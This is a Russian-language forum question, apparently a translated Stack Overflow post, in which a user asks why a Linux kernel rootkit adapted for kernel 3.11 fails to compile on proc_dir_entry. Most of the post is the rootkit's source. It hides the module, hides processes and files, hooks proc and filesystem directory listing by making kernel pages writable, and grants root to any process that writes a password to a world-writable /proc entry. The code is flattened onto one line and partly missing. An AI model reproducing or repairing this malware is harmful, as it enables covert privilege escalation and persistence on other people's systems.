разыменование proc_dir_entry указателя, вызывающего ошибку компиляции в версии Linux версии 3.11 и выше

Я пытаюсь следовать примеру руткита, приведенному здесь https://github.com/ivyl/rootkit

Я изменил этот пример, чтобы скомпилировать его в версии linux версии 3.11. Я обнаружил, что последние версии Linux перестали поддерживать несколько API, таких как create_proc_entry, readdir был заменен итерацией и т. Д.

В версии linux есть 3.11.0-23 Я также заметил, что мои включенные каталоги не содержат inner.h, чтобы иметь полное определение proc_dir_entry. В более низких версиях на linux (<3.10) у нас есть определение для proc_dir_entry в файле proc_fs.h.

Измененный файл руткита выглядит следующим образом:

#include  #include  #include  #include  #include  #include  //#include "fs/proc/internal.h" #define MIN(a,b) \ ({ typeof (a) _a = (a); \ typeof (b) _b = (b); \ _a < _b ? _a : _b; }) #define MAX_PIDS 50 MODULE_LICENSE("Dual BSD/GPL"); MODULE_AUTHOR("Arkadiusz Hiler"); MODULE_AUTHOR("Michal Winiarski"); //STATIC VARIABLES SECTION //we don't want to have it visible in kallsyms and have access to it all the time static struct proc_dir_entry *proc_root; static struct proc_dir_entry *proc_rtkit; static int (*proc_iterate_orig)(struct file *, struct dir_context *); static int (*fs_iterate_orig)(struct file *, struct dir_context *); static filldir_t proc_filldir_orig; static filldir_t fs_filldir_orig; static struct file_operations *proc_fops; static struct file_operations *fs_fops; static struct list_head *module_previous; static struct list_head *module_kobj_previous; static char pids_to_hide[MAX_PIDS][8]; static int current_pid = 0; static char hide_files = 1; static char module_hidden = 0; static char module_status[1024]; //MODULE HELPERS void module_hide(void) { if (module_hidden) return; module_previous = THIS_MODULE->list.prev; list_del(&THIS_MODULE->list); module_kobj_previous = THIS_MODULE->mkobj.kobj.entry.prev; kobject_del(&THIS_MODULE->mkobj.kobj); list_del(&THIS_MODULE->mkobj.kobj.entry); module_hidden = !module_hidden; } void module_show(void) { int result; if (!module_hidden) return; list_add(&THIS_MODULE->list, module_previous); result = kobject_add(&THIS_MODULE->mkobj.kobj, THIS_MODULE->mkobj.kobj.parent, "rt"); module_hidden = !module_hidden; } //PAGE RW HELPERS static void set_addr_rw(void *addr) { unsigned int level; pte_t *pte = lookup_address((unsigned long) addr, &level); if (pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW; } static void set_addr_ro(void *addr) { unsigned int level; pte_t *pte = lookup_address((unsigned long) addr, &level); pte->pte = pte->pte &~_PAGE_RW; } //CALLBACK SECTION static int proc_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type) { int i; for (i=0; i actor; return proc_iterate_orig(filp, dir_ctx); } static int fs_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type) { if (hide_files && (!strncmp(name, "__rt", 4) || !strncmp(name, "10-__rt", 7))) return 0; return fs_filldir_orig(buf, name, namelen, offset, ino, d_type); } static int fs_iterate_new(struct file *filp, struct dir_context *dir_ctx) { fs_filldir_orig = dir_ctx->actor; return fs_iterate_orig(filp, dir_ctx); } static int rtkit_read(char *buffer, char **buffer_location, off_t off, int count, int *eof, void *data) { int size; sprintf(module_status, "RTKIT\n\ DESC:\n\ hides files prefixed with __rt or 10-__rt and gives root\n\ CMNDS:\n\ godisgreat - uid and gid 0 for writing process\n\ hpXXXX - hides proc with id XXXX\n\ up - unhides last process\n\ thf - toogles file hiding\n\ mh - module hide\n\ ms - module show\n\ STATUS\n\ fshide: %d\n\ pids_hidden: %d\n\ module_hidden: %d\n", hide_files, current_pid, module_hidden); size = strlen(module_status); if (off >= size) return 0; if (count >= size-off) { memcpy(buffer, module_status+off, size-off); } else { memcpy(buffer, module_status+off, count); } return size-off; } static int rtkit_write(struct file *file, const char __user *buff, unsigned long count, void *data) { if (!strncmp(buff, "godisgreat", MIN(11, count))) { //changes to root struct cred *credentials = prepare_creds(); credentials->uid = credentials->euid = 0; credentials->gid = credentials->egid = 0; commit_creds(credentials); } else if (!strncmp(buff, "hp", MIN(2, count))) {//upXXXXXX hides process with given id if (current_pid  0) current_pid--; } else if (!strncmp(buff, "thf", MIN(3, count))) {//toggles hide files in fs hide_files = !hide_files; } else if (!strncmp(buff, "mh", MIN(2, count))) {//module hide module_hide(); } else if (!strncmp(buff, "ms", MIN(2, count))) {//module hide module_show(); } return count; } //INITIALIZING/CLEANING HELPER METHODS SECTION static void procfs_clean(void) { if (proc_rtkit != NULL) { remove_proc_entry("rtkit", NULL); proc_rtkit = NULL; } if (proc_fops != NULL && proc_iterate_orig != NULL) { set_addr_rw(proc_fops); proc_fops->iterate = proc_iterate_orig; set_addr_ro(proc_fops); } } static void fs_clean(void) { if (fs_fops != NULL && fs_iterate_orig != NULL) { set_addr_rw(fs_fops); fs_fops->iterate = fs_iterate_orig; set_addr_ro(fs_fops); } } static int __init procfs_init(void) { //new entry in proc root with 666 rights proc_rtkit = proc_create("rtkit", 0666, 0, NULL); if (proc_rtkit == NULL) return 0; proc_root = proc_rtkit->parent; if (proc_root == NULL || strcmp(proc_root->name, "/proc") != 0) { return 0; } proc_rtkit->read_proc = rtkit_read; proc_rtkit->write_proc = rtkit_write; //substitute proc iterate to our wersion (using page mode change) proc_fops = ((struct file_operations *) proc_root->proc_fops); proc_iterate_orig = proc_fops->iterate; set_addr_rw(proc_fops); proc_fops->iterate = proc_iterate_new; set_addr_ro(proc_fops); return 1; } static int __init fs_init(void) { struct file *etc_filp; //get file_operations of /etc etc_filp = filp_open("/etc", O_RDONLY, 0); if (etc_filp == NULL) return 0; fs_fops = (struct file_operations *) etc_filp->f_op; filp_close(etc_filp, NULL); //substitute iterate of fs on which /etc is fs_iterate_orig = fs_fops->iterate; set_addr_rw(fs_fops); fs_fops->iterate = fs_iterate_new; set_addr_ro(fs_fops); return 1; } //MODULE INIT/EXIT static int __init rootkit_init(void) { if (!procfs_init() || !fs_init()) { procfs_clean(); fs_clean(); return 1; } module_hide(); return 0; } static void __exit rootkit_exit(void) { procfs_clean(); fs_clean(); } module_init(rootkit_init); module_exit(rootkit_exit); 

При попытке создать код я получаю сообщение об ошибке «разыменование указателя на неполный тип», потому что компилятор не знает о полном определении proc_dif_entry.

 /prj/Rootkit/example3# make make -C /lib/modules/3.11.0-23-generic/build M=/prj/Rootkit/example3 modules make[1]: Entering directory `/usr/src/linux-headers-3.11.0-23-generic' CC [M] /prj/Rootkit/example3/rt.o /prj/Rootkit/example3/rt.c: In function 'procfs_init': /prj/Rootkit/example3/rt.c:195:24: error: dereferencing pointer to incomplete type /prj/Rootkit/example3/rt.c:196:43: error: dereferencing pointer to incomplete type /prj/Rootkit/example3/rt.c:199:12: error: dereferencing pointer to incomplete type /prj/Rootkit/example3/rt.c:200:12: error: dereferencing pointer to incomplete type /prj/Rootkit/example3/rt.c:203:51: error: dereferencing pointer to incomplete type /prj/Rootkit/example3/rt.c: At top level: /prj/Rootkit/example3/rt.c:84:12: warning: 'proc_filldir_new' defined but not used [-Wunused-function] /prj/Rootkit/example3/rt.c:100:12: warning: 'fs_filldir_new' defined but not used [-Wunused-function] make[2]: *** [/prj/Rootkit/example3/rt.o] Error 1 make[1]: *** [_module_/prj/Rootkit/example3] Error 2 make[1]: Leaving directory `/usr/src/linux-headers-3.11.0-23-generic' make: *** [default] Error 2 root@HP:/prj/Rootkit/example3# ^C 

Я не уверен, как приступить к устранению этих ошибок.

Любая помощь !

Спасибо, -Хитеш.